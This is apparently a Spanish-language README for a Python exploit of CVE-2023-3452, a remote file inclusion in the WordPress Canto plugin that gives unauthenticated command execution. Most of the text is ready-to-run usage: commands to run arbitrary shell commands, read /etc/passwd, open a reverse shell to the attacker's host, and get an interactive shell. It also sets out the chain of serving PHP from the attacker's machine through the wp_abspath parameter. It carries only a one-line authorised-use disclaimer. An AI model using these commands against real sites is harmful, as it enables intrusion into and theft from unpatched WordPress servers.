
Exploit de CVE-2023-3452 para el plugin Canto de WordPress con RCE, soporte HTTPS incluido
Exploit para la vulnerabilidad RFI del Plugin Canto de WordPress (≤ 3.0.4). Funciona realmente en HTTPS — los otros PoCs públicos básicamente se rindieron con SSL.
Créditos donde corresponden: este CVE fue encontrado por otros. Solo hice una versión que no falla en objetivos HTTPS.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Tipo | Inclusión Remota de Archivos (RFI) → Ejecución Remota de Comandos sin autenticación |
| Afectado | WordPress Canto Plugin < 3.0.5 (≤ 3.0.4) |
| Reportado por | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| Ubicación | /wp-content/plugins/canto/includes/lib/download.php |
| Vector | wp_abspath se usa para incluir archivos PHP sin validación — nosotros incluimos el nuestro remotamente. |
La mayoría de exploits para este CVE fallan en HTTPS debido a la verificación SSL. Este script:
verify=False para que los objetivos HTTPS funcionen realmenterequestspip install -r requirements.txt
O simplemente: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPCIONES]
| Opción | Descripción | Requerido |
|---|---|---|
-t, --target | URL objetivo de WordPress (HTTP o HTTPS) | Sí |
-l, --lhost | Tu IP — el objetivo necesita poder alcanzarla para el payload | Sí |
-p, --lport | Puerto del servidor de payload (por defecto: 8888) | No |
-c, --command | Comando a ejecutar en el objetivo | No* |
--revshell | Generar reverse shell | No |
--shell-port | Puerto de escucha para reverse shell (por defecto: 4444) | No |
-i, --interactive | Modo de shell interactivo | No |
-v, --verbose | Salida adicional | No |
--skip-check | Saltar la comprobación de vulnerabilidad | No |
* Sin comando = ejecuta id; whoami; hostname como comprobación de cordura
Comando único:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
Leer un archivo:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse shell (ejecuta nc -lvnp 4444 primero):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Modo interactivo:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
Objetivo HTTPS CTF:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt, analiza la versión (≤ 3.0.4 = vulnerable)wp-admin/admin.php que ejecuta tu comando mediante system()download.php con wp_abspath=http://LHOST:LPORT para que incluya nuestro PHP remotoLHOST:LPORT (para HTB/labs, esa es tu IP de VPN)-p)Solo pruebas autorizadas y educación. Solo toca sistemas que tengas permiso. Cualquier otra cosa es ilegal.
MIT